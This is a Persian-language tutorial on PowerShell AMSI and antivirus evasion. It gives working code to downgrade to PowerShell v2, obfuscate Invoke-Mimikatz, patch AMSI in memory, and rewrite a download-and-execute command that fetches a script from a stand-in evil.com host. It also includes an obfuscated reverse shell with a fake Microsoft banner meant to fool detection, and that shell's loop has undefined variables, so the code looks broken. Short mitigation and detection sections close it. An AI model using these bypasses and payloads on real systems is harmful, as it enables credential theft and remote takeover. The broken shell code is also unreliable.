۳.۱ تکنیک #۱ – بازگشت به نسخه قدیمی PowerShell

توضیح: PowerShell نسخه ۲ فاقد AMSI است.

# بررسی نسخه فعلی
PS C:\> $PSVersionTable.PSVersion

Major  Minor  Patch
-----  -----  -----
5      1      22621

# اجرای PowerShell v2 (بدون AMSI)
powershell.exe -v 2

PS v2> Import-Module Invoke-Mimikatz
# هیچ رهگیری AMSI صورت نمی‌گیرد

راه مقابله:

# غیرفعال‌سازی PowerShell v2
Disable-WindowsOptionalFeature -FeatureName MicrosoftWindowsPowerShellV2Root -Online

همچنین فعال‌سازی Constrained Language Mode برای محدود کردن دستورات خطرناک.

۳.۲ تکنیک #۲ – مبهم‌سازی رشته‌ها و سینتکس

هدف: شکستن امضاهای استاتیک آنتی‌ویروس.

مثال عملی:

# به جای:
Invoke-Mimikatz

# از این استفاده کنید:
&('In'+'voke-Mim'+'ikatz')

نکته: این روش در لاگ‌های Transcript همچنان قابل شناسایی است.

۳.۳ تکنیک #۳ – پچ کردن AMSI در حافظه

مکانیزم: تغییر رفتار AmsiScanBuffer() در حافظه به گونه‌ای که همیشه نتیجه "Clean" برگرداند.

# بارگذاری DLL سفارشی که پارامتر 'length' را به ۱ تغییر می‌دهد
[Reflection.Assembly]::LoadFile("D:\VulncityTool\Defence-Evasion\PS\ASBBypass.dll") | Out-Null

[Amsi]::Bypass()

# حالا می‌توان Mimikatz را بدون هشدار اجرا کرد
Invoke-Mimikatz

نسخه ساده‌تر (بدون DLL):

$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") {
        $c = $b
    }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Context") {
        $e.SetValue($null, [IntPtr]0)
    }
}

۳.۴ تکنیک #۴ – بازنویسی Payload با amsi.fail

سرویس amsi.fail: یک ابزار آنلاین که کدهای محبوب (مثلاً از revshells.com) را به نسخه‌های AMSI-safe بازنویسی می‌کند.

مثال:

# ورودی (شناسایی می‌شود):
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

# خروجی amsi.fail (ممکن است شناسایی نشود):
$wc = [System.Net.WebClient]::new()
$data = $wc."Down`loadStr`ing"('http://evil.com/payload.ps1')
& ([scriptblock]::Create($data))

۳.۵ تکنیک #۵ – Reverse Shell کاملاً غیرقابل شناسایی

Set-Alias -Name K -Value Out-String
Set-Alias -Name NSS -Value iex

$N = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$OO = $N.GetStream();

[byte[]]$R = 0..(32768*2-1)|%{0};  # مبهم‌سازی اندازه بافر

# بنر جعلی مایکروسافت برای فریب هیوریستیک‌ها
$R = [Text.Encoding]::UTF8.GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$OO.Write($R,0,$R.Length)

$R = [Text.Encoding]::ASCII.GetBytes((Get-Location).Path + '>');
$OO.Write($R,0,$R.Length)

[byte[]]$NEnt = 0..(10000+55535)|%{0};

while(($UL = $TY.Read($ULnc,0,$ULnc.Length)) -ne 0){
    $V = [Text.Encoding]::ASCII.GetString($ULnc,0,$UL);
    $UL = (VLL $V 2>&1 | K );  # اجرای دستورات از طریق alias
    $C = $UL + (pwd).Path + '> ';
    $CI = [Text.Encoding]::ASCII.GetBytes($T);
    $TY.Write($CI,0,$CI.Length); 
    $TY.Flush();
}
$N.Close()

نکات کلیدی:

• 0..(32768*2-1) → دور زدن تحلیل استاتیک
• بنر جعلی مایکروسافت → فریب هیوریستیک‌های AV
• استفاده از alias برای cmdlet‌های خطرناک (VLL = iex)
• مبهم‌سازی نام کلاس‌ها با backtick: S`y`stem.Net.Sockets

۴.۱ برای مدیران سیستم

1. حذف PowerShell v2
2. فعال‌سازی Constrained Language Mode
3. فعال‌سازی Script Block Logging
4. استفاده از AppLocker/WDAC
5. نظارت بر لاگ‌های Event ID 4104 (PowerShell execution)

۴.۲ برای توسعه‌دهندگان امنیتی

# تشخیص تلاش برای پچ AMSI
$amsiContext = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"}
if ($amsiContext.GetFields('NonPublic,Static').GetValue($null) -eq [IntPtr]0) {
    Write-Warning "AMSI Bypass Detected!"
}